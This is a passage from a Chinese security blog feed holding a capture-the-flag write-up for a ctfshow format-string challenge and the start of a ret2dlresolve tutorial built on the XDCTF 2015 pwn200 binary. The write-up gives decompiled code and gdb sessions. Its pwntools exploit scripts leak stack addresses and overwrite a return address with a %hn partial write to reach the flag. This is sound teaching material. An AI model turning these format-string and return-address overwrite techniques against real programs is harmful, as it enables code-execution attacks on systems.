class="built_in">puts</span>(<span class="string">&quot;3. get_flag&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;4. exit&quot;</span>);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;&gt;&gt;&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> __readfsqword(<span class="number">0x28u</span>) ^ v1;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>跟进fmt_attack:</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">unsigned</span> __int64 __fastcall <span class="title function_">fmt_attack</span><span class="params">(<span class="type">int</span> *a1)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> format[<span class="number">56</span>]; <span class="comment">// [rsp+10h] [rbp-40h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v3; <span class="comment">// [rsp+48h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v3 = __readfsqword(<span class="number">0x28u</span>);</span><br><span class="line">  <span class="built_in">memset</span>(format, <span class="number">0</span>, <span class="number">0x30u</span>);</span><br><span class="line">  <span class="keyword">if</span> ( *a1 &gt; <span class="number">0</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;No way!&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  *a1 = <span class="number">1</span>;</span><br><span class="line">  read_n(format, <span class="number">40</span>, format);</span><br><span class="line">  <span class="built_in">printf</span>(format);</span><br><span class="line">  <span class="keyword">return</span> __readfsqword(<span class="number">0x28u</span>) ^ v3;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>printf(format);明显的格式化字符串漏洞，可以看到这里有一个判定条件，我们每次使用该函数时，将*a1(v3)处的值改为零即可循环利用该函数。</p><p>在gdb中进行动态调试：</p><p>打断点到运行到代码*a1 &#x3D; 1</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ gdb ./pwn</span><br><span class="line"></span><br><span class="line">pwndbg&gt; b fmt_attack</span><br><span class="line">pwndbg&gt; r</span><br><span class="line">Hello my bro.</span><br><span class="line">What <span class="keyword">time</span> is it :2025</span><br><span class="line">8</span><br><span class="line">15</span><br><span class="line">Ok! <span class="keyword">time</span> is 2025:8:15</span><br><span class="line">1. leak</span><br><span class="line">2. fmt_attack</span><br><span class="line">3. get_flag</span><br><span class="line">4. <span class="built_in">exit</span></span><br><span class="line">&gt;&gt;2. fmt_attack</span><br><span class="line"></span><br><span class="line">pwndbg&gt; disassemble fmt_attack</span><br><span class="line">   0x00006454ea400ea9 &lt;+83&gt;:mov    DWORD PTR [rax],0x1 <span class="comment">#*a1 = 1</span></span><br><span class="line"></span><br><span class="line">pwndbg&gt; b *0x00006454ea400ea9</span><br><span class="line">pwndbg&gt; c</span><br><span class="line">pwndbg&gt; info registers rax <span class="comment"># 查看a1指针的值（rax寄存器）</span></span><br><span class="line">rax            0x7fff9e224b7c      140735846435708</span><br><span class="line">pwndbg&gt; x/w <span class="variable">$rax</span> <span class="comment"># 查看*a1当前的值</span></span><br><span class="line">0x7fff9e224b7c:0</span><br><span class="line">pwndbg&gt; ni</span><br><span class="line">pwndbg&gt; x/w <span class="variable">$rax</span> <span class="comment"># 再次查看*a1的值</span></span><br><span class="line">0x7fff9e224b7c:1</span><br></pre></td></tr></table></figure><p>运行到printf函数查看偏移：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">pwndbg&gt; n</span><br><span class="line">0x7fff9e224b20.0x28.0x79eb78110a61.0x1999999999999999.(nil).(nil).0x7fff9e224b7c.0x70252e70252e7025.0x252e70252e70252e.0x2e70252...</span><br></pre></td></tr></table></figure><ol><li><strong>前 6 个<code>%p</code>的含义(6个寄存器传参)</strong>：<ul><li><code>0x7fff9e224b20</code>：<code>format</code>缓冲区的地址（即输入字符串的起始地址）</li><li><code>0x28</code>：<code>read_n</code>的第二个参数（读取长度 40 字节）</li><li><code>0x79eb78110a61</code>：<code>read</code>函数的内部地址（libc 中的代码）</li><li><code>0x1999999999999999</code>：<code>r8</code>寄存器的值（与程序逻辑无关）</li><li><code>(nil)</code>：两个空指针（<code>r9</code>和部分栈数据）</li></ul></li><li><strong>第 7 个<code>%p</code>（<code>0x7fff9e224b7c</code>）</strong>：<ul><li>这个值是<code>v3</code>变量的地址（即<code>a1</code>指针指向的内存），从之前的调试可知<code>*a1</code>已被设为<code>1</code>，符合程序逻辑。</li></ul></li><li><strong>从第 8 个<code>%p</code>开始（<code>0x70252e70252e7025</code>等）</strong>：<ul><li>这些是你输入的字符串本身的 ASCII 值（如<code>0x7025</code>对应<code>%p</code>的十六进制表示），说明从第 8 个位置开始，<code>printf</code>开始解析你输入的字符串内容。</li></ul></li></ol><p><strong><code>结论：格式化字符串的偏移为7</code></strong></p><p>我们每次利用fmt_attack函数时，加上%7$n即可令*a1&#x3D;0,即可重复利用fmt_attack。</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ gdb ./pwn</span><br><span class="line"></span><br><span class="line">pwndbg&gt; b fmt_attack</span><br><span class="line">pwndbg&gt; r</span><br><span class="line">Hello my bro.</span><br><span class="line">What <span class="keyword">time</span> is it :2025</span><br><span class="line">8</span><br><span class="line">15</span><br><span class="line">Ok! <span class="keyword">time</span> is 2025:8:15</span><br><span class="line">1. leak</span><br><span class="line">2. fmt_attack</span><br><span class="line">3. get_flag</span><br><span class="line">4. <span class="built_in">exit</span></span><br><span class="line">&gt;&gt;2. fmt_attack</span><br><span class="line"></span><br><span class="line">pwndbg&gt; x/gx <span class="variable">$rbp</span>+8 <span class="comment">#main的返回地址0x00006542a9e0102c</span></span><br><span class="line">0x7ffdc794ca98:0x00006542a9e0102c </span><br><span class="line">pwndbg&gt; disassemble main</span><br><span class="line">   0x00006542a9e01027 &lt;+113&gt;:call   0x6542a9e00e56 &lt;fmt_attack&gt;</span><br><span class="line">   0x00006542a9e0102c &lt;+118&gt;:jmp    0x6542a9e0104b &lt;main+149&gt;</span><br><span class="line"><span class="comment">#elf_base = leak_ret - 0x102c（0x102c是返回地址在程序中的偏移）</span></span><br><span class="line"></span><br><span class="line">pwndbg&gt; n <span class="comment">#单步执行到 call   read_n </span></span><br><span class="line">%17<span class="variable">$p</span></span><br><span class="line">pwndbg&gt; n <span class="comment">#单步执行到 call   printf@plt </span></span><br><span class="line">pwndbg&gt; n</span><br><span class="line">0x6542a9e0102c</span><br><span class="line"></span><br><span class="line">pwndbg&gt; stack 30</span><br><span class="line">0a:0050│ rbp 0x7ffdc794ca90 —▸ 0x7ffdc794cac0 —▸ 0x7ffdc794cb60 —▸ 0x7ffdc794cbc0 ◂— 0</span><br><span class="line">0b:0058│+008 0x7ffdc794ca98 —▸ 0x6542a9e0102c (main+118) ◂— jmp main+149</span><br><span class="line"><span class="comment">#0x7ffdc794cac0(上层rbp)-0x7ffdc794ca98=0x28</span></span><br></pre></td></tr></table></figure><p><strong><code>%7$p</code>：对应<code>a1</code>指针指向的地址（<code>&amp;v3</code>）</strong></p><p><strong><code>%17$p</code>：对应栈上main的返回地址→ 算出 ELF 基址（因为 PIE 开启）</strong></p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">;main</span><br><span class="line">push    rbp          ; 保存调用者的 rbp（占用 8 字节）</span><br><span class="line">mov     rbp, rsp     ; 设置新的栈帧基址</span><br><span class="line">sub     rsp, 20h     ; 分配 0x20（32）字节的栈空间</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">        高地址</span><br><span class="line">        +---------------------+</span><br><span class="line">        |    caller&#x27;s stack   | </span><br><span class="line">        +---------------------+</span><br><span class="line">        |  main 的返回地址      | &lt;-- 调用 main 函数的返回地址 (8 bytes)</span><br><span class="line">--------+---------------------+ &lt;-- main 的 rbp</span><br><span class="line">        |  保存的 rbp    |  (8 bytes)</span><br><span class="line">        +---------------------+</span><br><span class="line"> 0x28   |                     | </span><br><span class="line">        |  main 局部变量区      | &lt;-- 0x20 (32 bytes) 空间</span><br><span class="line">        |                     |</span><br><span class="line">--------+---------------------+</span><br><span class="line">        |  fmt_attack 返回地址  | &lt;-- 这就是要修改的目标 (8 bytes)</span><br><span class="line">        +---------------------+</span><br><span class="line">        |  保存的 rbp          | &lt;-- fmt_attack 的 rbp (8 bytes)</span><br><span class="line">        +---------------------+</span><br><span class="line">        |fmt_attack 局部变量|</span><br><span class="line">        +---------------------+</span><br><span class="line">        低地址</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment">#泄露返回地址的栈位置（用来存返回地址）</span></span><br><span class="line">fmt(<span class="string">b&#x27;%7$n-%16$p&#x27;</span>) <span class="comment">#%7$n重置*a1，%16$p泄露上层rbp</span></span><br><span class="line">io.recvuntil(<span class="string">&#x27;-&#x27;</span>)</span><br><span class="line">ret_addr = <span class="built_in">int</span>(io.recvuntil(<span class="string">&#x27;\n&#x27;</span>)[:-<span class="number">1</span>],<span class="number">16</span>)-<span class="number">0x28</span> <span class="comment">#返回地址位置</span></span><br><span class="line">log.success(<span class="string">&quot;ret_addr: &quot;</span>+<span class="built_in">hex</span>(ret_addr))</span><br><span class="line"></span><br><span class="line"><span class="comment">#泄露返回地址的值</span></span><br><span class="line">fmt(<span class="string">b&#x27;%7$n+%17$p&#x27;</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;+&#x27;</span>)</span><br><span class="line">ret_value = <span class="built_in">int</span>(io.recvuntil(<span class="string">b&#x27;\n&#x27;</span>)[:-<span class="number">1</span>],<span class="number">16</span>)</span><br><span class="line">elf_base = ret_value - <span class="number">0x102c</span> <span class="comment">#计算程序基址</span></span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">void</span> __noreturn <span class="title function_">get_flag</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  __int64 p_format; <span class="comment">// rdx</span></span><br><span class="line">  <span class="type">int</span> fd; <span class="comment">// [rsp+Ch] [rbp-64h]</span></span><br><span class="line">  <span class="type">char</span> s2[<span class="number">88</span>]; <span class="comment">// [rsp+10h] [rbp-60h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v3; <span class="comment">// [rsp+68h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v3 = __readfsqword(<span class="number">0x28u</span>); <span class="comment">// 栈保护canary</span></span><br><span class="line">  <span class="built_in">memset</span>(s2, <span class="number">0</span>, <span class="number">0x50u</span>); <span class="comment">// 初始化s2缓冲区</span></span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Flag is here ! Come on !!&quot;</span>); </span><br><span class="line">  read_n(s2, <span class="number">64</span>, p_format); <span class="comment">// 读取64字节输入到s2</span></span><br><span class="line">  <span class="keyword">if</span> ( !<span class="built_in">strncmp</span>(secret, s2, <span class="number">0x40u</span>) ) <span class="comment">// 比较s2与secret的前64字节</span></span><br><span class="line">  &#123;</span><br><span class="line">    close(<span class="number">1</span>);</span><br><span class="line">    fd = open(<span class="string">&quot;/flag&quot;</span>, <span class="number">0</span>);</span><br><span class="line">    read(fd, s2, <span class="number">0x50u</span>);</span><br><span class="line">    <span class="built_in">printf</span>(s2);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;No way!&quot;</span>);</span><br><span class="line">  <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>直接跳转到close函数后：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.text:0000000000000F51                 call    close</span><br><span class="line">.text:0000000000000F56                 mov     esi, 0          ; oflag</span><br><span class="line">#设置打开文件的模式（O_RDONLY，只读），“验证通过后、打开/flag前” 的关键节点</span><br><span class="line">.text:0000000000000F5B                 lea     rdi, aFlag      ; &quot;/flag&quot;</span><br><span class="line">#加载文件名&quot;/flag&quot;到rdi寄存器</span><br><span class="line">.text:0000000000000F62                 mov     eax, 0</span><br><span class="line">#准备调用open系统调用（eax=0表示无额外参数）</span><br><span class="line">.text:0000000000000F67                 call    open</span><br><span class="line">#实际打开&quot;/flag&quot;文件</span><br></pre></td></tr></table></figure><p>然后直接更改<code>低2字节（如0xffff）</code>【<strong>获取目标地址的低 2 字节（16 位）</strong>，用于通过格式化字符串的<code>%hn</code>进行 “部分写”（partial write），从而修改返回地址】：</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">(elf_base+<span class="number">0xf56</span>)&amp;<span class="number">0xffff</span></span><br><span class="line">→</span><br><span class="line">payload = <span class="string">b&#x27;%&#x27;</span>+<span class="built_in">str</span>((elf_base+<span class="number">0xf56</span>)&amp;<span class="number">0xffff</span>).encode()+<span class="string">b&#x27;c%10$hn&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">b&#x27;%&#x27; + str(...) + b&#x27;c&#x27;:这部分是控制输出字符数：构造格式字符串让printf输出指定数量的字符。</span></span><br><span class="line"><span class="string">假设(elf_base + 0xf56) &amp; 0xffff的结果是N（比如0xf56对应的十进制是3926），则这部分会变成b&#x27;%3926c&#x27;。</span></span><br><span class="line"><span class="string">%3926c的含义是：让printf输出 3926 个字符（通常是填充空格，不影响其他数据），此时printf的总输出字符数就是 3926。</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">b&#x27;%10$hn&#x27;:这部分是指定写入地址和长度：通过格式化字符串的参数索引，将输出字符数写入目标地址。</span></span><br><span class="line"><span class="string">%10$h：10$表示操作第 10 个参数（即我们之前计算的ret_addr——main返回地址在栈上的存储位置）；h表示操作 2 字节数据（对应%hn）。</span></span><br><span class="line"><span class="string">%10$hn的作用是：将printf输出的总字符数（即上面的N）写入到第 10 个参数指向的地址（ret_addr）中。</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">则完整payload 是b&#x27;%3926c%10$hn&#x27;</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;amd64&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line">io = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">context.terminal=[<span class="string">&#x27;tmux&#x27;</span>,<span class="string">&#x27;new-window&#x27;</span>]</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">fmt</span>(<span class="params">payload</span>):</span><br><span class="line">        io.recvuntil(<span class="string">b&quot;&gt;&gt;&quot;</span>)</span><br><span class="line">        io.sendline(<span class="string">b&#x27;2&#x27;</span>)</span><br><span class="line">        io.sendline(payload)</span><br><span class="line"></span><br><span class="line">io.sendline(<span class="string">b&#x27;20 00 00&#x27;</span>)</span><br><span class="line"></span><br><span class="line">fmt(<span class="string">b&#x27;%7$n-%16$p&#x27;</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;-&#x27;</span>)</span><br><span class="line">ret_addr = <span class="built_in">int</span>(io.recvuntil(<span class="string">b&#x27;\n&#x27;</span>)[:-<span class="number">1</span>],<span class="number">16</span>)-<span class="number">0x28</span></span><br><span class="line">log.success(<span class="string">&quot;ret_addr: &quot;</span>+<span class="built_in">hex</span>(ret_addr))</span><br><span class="line"></span><br><span class="line">fmt(<span class="string">b&#x27;%7$n+%17$p&#x27;</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;+&#x27;</span>)</span><br><span class="line">ret_value = <span class="built_in">int</span>(io.recvuntil(<span class="string">b&#x27;\n&#x27;</span>)[:-<span class="number">1</span>],<span class="number">16</span>)</span><br><span class="line">elf_base = ret_value - <span class="number">0x102c</span></span><br><span class="line"></span><br><span class="line">payload = <span class="string">b&quot;%7$hn&quot;</span>+<span class="string">b&quot;%p&quot;</span>*<span class="number">0x20</span></span><br><span class="line">payload = <span class="string">b&#x27;%&#x27;</span>+<span class="built_in">str</span>((elf_base+<span class="number">0xf56</span>)&amp;<span class="number">0xffff</span>).encode()+<span class="string">b&#x27;c%1$hn&#x27;</span></span><br><span class="line">payload = payload.ljust(<span class="number">0x10</span>,<span class="string">b&#x27;b&#x27;</span>)</span><br><span class="line">payload += <span class="string">b&#x27;aaaaaaaa&#x27;</span></span><br><span class="line">io.recvuntil(<span class="string">b&quot;&gt;&gt;&quot;</span>)</span><br><span class="line">io.sendline(<span class="string">b&#x27;2&#x27;</span>)</span><br><span class="line">gdb.attach(io)                 </span><br><span class="line">pause()</span><br><span class="line">io.sendline(payload)</span><br><span class="line">pause()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">[*] Paused (press any to <span class="built_in">continue</span>)</span><br><span class="line">[DEBUG] Sent 0x19 bytes:</span><br><span class="line">    b<span class="string">&#x27;%3926c%1$hnbbbbbaaaaaaaa\n&#x27;</span></span><br><span class="line">[*] Paused (press any to <span class="built_in">continue</span>)</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"> _ 0x628d35800ecc &lt;fmt_attack+118&gt;    call   printf@plt                  &lt;printf@plt&gt;</span><br><span class="line">        format: 0x7ffe9c880bc0 __ &#x27;%3926c%1$hnbbbbbaaaaaaaa\n&#x27;</span><br><span class="line">        vararg: 0x7ffe9c880bc0 __ &#x27;%3926c%1$hnbbbbbaaaaaaaa\n&#x27;</span><br><span class="line"></span><br><span class="line">   0x628d35800ed1 &lt;fmt_attack+123&gt;    nop</span><br><span class="line">   0x628d35800ed2 &lt;fmt_attack+124&gt;    mov    rax, qword ptr [rbp - 8]</span><br><span class="line">   0x628d35800ed6 &lt;fmt_attack+128&gt;    xor    rax, qword ptr fs:[0x28]</span><br><span class="line">   0x628d35800edf &lt;fmt_attack+137&gt;    je     fmt_attack+144              &lt;fmt_attack+144&gt;</span><br><span class="line"></span><br><span class="line">   0x628d35800ee1 &lt;fmt_attack+139&gt;    call   __stack_chk_fail@plt        &lt;__stack_chk_fail@plt&gt;</span><br><span class="line">qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq[ STACK ]qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq</span><br><span class="line">00:0000x rsp     0x7ffe9c880bb0 __ 0</span><br><span class="line">01:0008x-048     0x7ffe9c880bb8 __ 0x7ffe9c880c1c __ 1</span><br><span class="line">02:0010x rdi rsi 0x7ffe9c880bc0 __ &#x27;%3926c%1$hnbbbbbaaaaaaaa\n&#x27;</span><br><span class="line">03:0018x-038     0x7ffe9c880bc8 __ &#x27;$hnbbbbbaaaaaaaa\n&#x27;</span><br><span class="line">04:0020x-030     0x7ffe9c880bd0 __ &#x27;aaaaaaaa\n&#x27;</span><br><span class="line">05:0028x-028     0x7ffe9c880bd8 __ 0xa /* &#x27;\n&#x27; */</span><br><span class="line">06:0030x-020     0x7ffe9c880be0 __ 0</span><br><span class="line">07:0038x-018     0x7ffe9c880be8 __ 0</span><br></pre></td></tr></table></figure><p>调试，在弹出的窗口输入<code>n</code>，再在原窗口按下任意键继续，单步执行到printf@plt，可以看到aaaaaaaa在栈上第五个，加上寄存器五个，就是第十个参数</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch = <span class="string">&#x27;amd64&#x27;</span>,os = <span class="string">&#x27;linux&#x27;</span>,log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"><span class="comment">#io = process(&#x27;./pwn&#x27;)</span></span><br><span class="line">io = remote(<span class="string">&#x27;pwn.challenge.ctf.show&#x27;</span>, <span class="number">28208</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">fmt</span>(<span class="params">payload</span>):</span><br><span class="line">io.recvuntil(<span class="string">b&quot;&gt;&gt;&quot;</span>)</span><br><span class="line">io.sendline(<span class="string">b&#x27;2&#x27;</span>)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">    </span><br><span class="line">io.sendline(<span class="string">b&#x27;20 00 00&#x27;</span>)</span><br><span class="line"></span><br><span class="line">fmt(<span class="string">b&#x27;%7$n-%16$p&#x27;</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;-&#x27;</span>)</span><br><span class="line">ret_addr = <span class="built_in">int</span>(io.recvuntil(<span class="string">b&#x27;\n&#x27;</span>)[:-<span class="number">1</span>],<span class="number">16</span>)-<span class="number">0x28</span></span><br><span class="line">log.success(<span class="string">&quot;ret_addr: &quot;</span>+<span class="built_in">hex</span>(ret_addr))</span><br><span class="line"></span><br><span class="line">fmt(<span class="string">b&#x27;%7$n+%17$p&#x27;</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;+&#x27;</span>)</span><br><span class="line">ret_value = <span class="built_in">int</span>(io.recvuntil(<span class="string">b&#x27;\n&#x27;</span>)[:-<span class="number">1</span>],<span class="number">16</span>)</span><br><span class="line"></span><br><span class="line">elf_base = ret_value - <span class="number">0x102c</span></span><br><span class="line">payload = <span class="string">b&quot;%7$hn&quot;</span>+<span class="string">b&quot;%p&quot;</span>*<span class="number">0x20</span> <span class="comment">#枚举栈上的参数值，验证偏移是否正确</span></span><br><span class="line">payload = <span class="string">b&#x27;%&#x27;</span>+<span class="built_in">str</span>((elf_base+<span class="number">0xf56</span>)&amp;<span class="number">0xffff</span>).encode()+<span class="string">b&#x27;c%10$hn&#x27;</span></span><br><span class="line">payload = payload.ljust(<span class="number">0x10</span>,<span class="string">b&#x27;a&#x27;</span>)</span><br><span class="line">payload += p64(ret_addr)</span><br><span class="line">fmt(payload)</span><br><span class="line">log.success(<span class="string">&quot;ret_value: &quot;</span>+<span class="built_in">hex</span>(ret_value))</span><br><span class="line">log.success(<span class="string">&quot;ret_addr: &quot;</span>+<span class="built_in">hex</span>(ret_addr))</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Opening connection to pwn.challenge.ctf.show on port 28208: Done</span><br><span class="line">[+] ret_addr: 0x7ffe054431a8</span><br><span class="line">[+] ret_value: 0x55a5194a202c</span><br><span class="line">[+] ret_addr: 0x7ffe054431a8</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line">                                                                              $    `aaaa\xa81D\x05\xfe\x7fctfshow&#123;32344162-2afa-4544-b0e9-d1d45d4a5fc5&#125;</span><br><span class="line">\xcdD\xd01D\x05\xfe\x7f[*] Got EOF <span class="keyword">while</span> reading <span class="keyword">in</span> interactive</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;格式化字符串&quot;&gt;&lt;a href=&quot;#格式化字符串&quot; class=&quot;headerlink&quot; title=&quot;格式化字符串&quot;&gt;&lt;/a&gt;格式化字符串&lt;/h1&gt;&lt;h2 id=&quot;pwn91&quot;&gt;&lt;a href=&quot;#pwn91&quot; class=&quot;headerlink&quot; title=</summary>
      
    
    
    
    <category term="PWN" scheme="https://rhea006.github.io/categories/PWN/"/>
    
    <category term="ctfshow_pwn" scheme="https://rhea006.github.io/categories/PWN/ctfshow-pwn/"/>
    
    <category term="5-格式化字符串" scheme="https://rhea006.github.io/categories/PWN/ctfshow-pwn/5-%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2/"/>
    
    
    <category term="PWN" scheme="https://rhea006.github.io/tags/PWN/"/>
    
  </entry>
  
  <entry>
    <title>1-ret2dlresolve</title>
    <link href="https://rhea006.github.io/2025/08/70cc7a3d3bc1.html"/>
    <id>https://rhea006.github.io/2025/08/70cc7a3d3bc1.html</id>
    <published>2025-08-03T14:00:00.000Z</published>
    <updated>2025-08-04T08:52:45.607Z</updated>
    
    <content type="html"><![CDATA[<p>在学习这个 ROP 利用技巧前，需要首先理解动态链接的基本过程以及 ELF 文件中动态链接相关的结构。<a href="%E5%8A%A8%E6%80%81%E9%93%BE%E6%8E%A5.md">动态链接</a></p><h2 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h2><p>在 Linux 中，程序使用 <code>_dl_runtime_resolve(link_map_obj, reloc_offset)</code> 来对动态链接的函数进行重定位。那么如果我们可以控制相应的参数及其对应地址的内容是不是就可以控制解析的函数了呢？答案是肯定的。这也是 ret2dlresolve 攻击的核心所在。</p><p>具体的，动态链接器在解析符号地址时所使用的重定位表项、动态符号表、动态字符串表都是从目标文件中的动态节 <code>.dynamic</code> 索引得到的。所以如果我们能够修改其中的某些内容使得最后动态链接器解析的符号是我们想要解析的符号，那么攻击就达成了。</p><h3 id="思路-1-直接控制重定位表项的相关内容"><a href="#思路-1-直接控制重定位表项的相关内容" class="headerlink" title="思路 1 - 直接控制重定位表项的相关内容"></a>思路 1 - 直接控制重定位表项的相关内容</h3><p>由于动态链接器最后在解析符号的地址时，是依据符号的名字进行解析的。因此，一个很自然的想法是直接修改动态字符串表 <code>.dynstr</code>，比如把某个函数在字符串表中对应的字符串修改为目标函数对应的字符串。但是，动态字符串表和代码映射在一起，是只读的。此外，类似地，我们可以发现动态符号表、重定位表项都是只读的。</p><p>但是，假如我们可以控制程序执行流，那我们就可以伪造合适的重定位偏移，从而达到调用目标函数的目的。然而，这种方法比较麻烦，因为我们不仅需要伪造重定位表项，符号信息和字符串信息，而且我们还需要确保动态链接器在解析的过程中不会出错。</p><h3 id="思路-2-间接控制重定位表项的相关内容"><a href="#思路-2-间接控制重定位表项的相关内容" class="headerlink" title="思路 2 - 间接控制重定位表项的相关内容"></a>思路 2 - 间接控制重定位表项的相关内容</h3><p>既然动态链接器会从 <code>.dynamic</code> 节中索引到各个目标节，那如果我们可以修改动态节中的内容，那自然就很容易控制待解析符号对应的字符串，从而达到执行目标函数的目的。</p><h3 id="思路-3-伪造-link-map"><a href="#思路-3-伪造-link-map" class="headerlink" title="思路 3 - 伪造 link_map"></a>思路 3 - 伪造 link_map</h3><p>由于动态连接器在解析符号地址时，主要依赖于 link_map 来查询相关的地址。因此，如果我们可以成功伪造 link_map，也就可以控制程序执行目标函数。</p><p>下面我们以 2015-XDCTF-pwn200 来介绍 32 位和 64 位下如何使用 ret2dlresolve 技巧。</p><h2 id="32-位例子"><a href="#32-位例子" class="headerlink" title="32 位例子"></a>32 位例子</h2><h3 id="NO-RELRO"><a href="#NO-RELRO" class="headerlink" title="NO RELRO"></a>NO RELRO</h3><blockquote><p>点击下载: <a href="../../../../../../../challenges/main_no_relro_32">main_no_relro_32</a></p></blockquote><p>checksec</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x main_no_relro_32</span><br><span class="line">$ checksec main_no_relro_32</span><br><span class="line">    Arch:       i386-32-little</span><br><span class="line">    RELRO:      No RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x8048000)</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><p>在这种情况下，修改 <code>.dynamic</code> 会简单些。因为我们只需要修改 <code>.dynamic</code> 节中的字符串表的地址为伪造的字符串表的地址，并且相应的位置为目标字符串基本就行了。具体思路如下</p><ol><li>修改 .dynamic 节中字符串表的地址为伪造的地址</li><li>在伪造的地址处构造好字符串表，将 read 字符串替换为 system 字符串。</li><li>在特定的位置读取 &#x2F;bin&#x2F;sh 字符串。</li><li>调用 read 函数的 plt 的第二条指令，触发 <code>_dl_runtime_resolve</code> 进行函数解析，从而执行 system 函数。</li></ol><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> __cdecl <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">size_t</span> n; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">char</span> buf[<span class="number">112</span>]; <span class="comment">// [esp+0h] [ebp-7Ch] BYREF</span></span><br><span class="line">  <span class="type">int</span> *p_argc; <span class="comment">// [esp+70h] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  p_argc = &amp;argc;</span><br><span class="line">  <span class="built_in">strcpy</span>(buf, <span class="string">&quot;Welcome to XDCTF2015~!\n&quot;</span>);</span><br><span class="line">  <span class="built_in">memset</span>(&amp;buf[<span class="number">24</span>], <span class="number">0</span>, <span class="number">0x4Cu</span>);</span><br><span class="line">  setbuf(<span class="built_in">stdout</span>, buf);</span><br><span class="line">  n = <span class="built_in">strlen</span>(buf);</span><br><span class="line">  write(<span class="number">1</span>, buf, n);</span><br><span class="line">  vuln();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">ssize_t</span> <span class="title function_">vuln</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> buf[<span class="number">104</span>]; <span class="comment">// [esp+Ch] [ebp-6Ch] BYREF</span></span><br><span class="line"></span><br><span class="line">  setbuf(<span class="built_in">stdin</span>, buf);</span><br><span class="line">  <span class="keyword">return</span> read(<span class="number">0</span>, buf, <span class="number">0x100u</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>典型的缓冲区溢出漏洞：读取 256 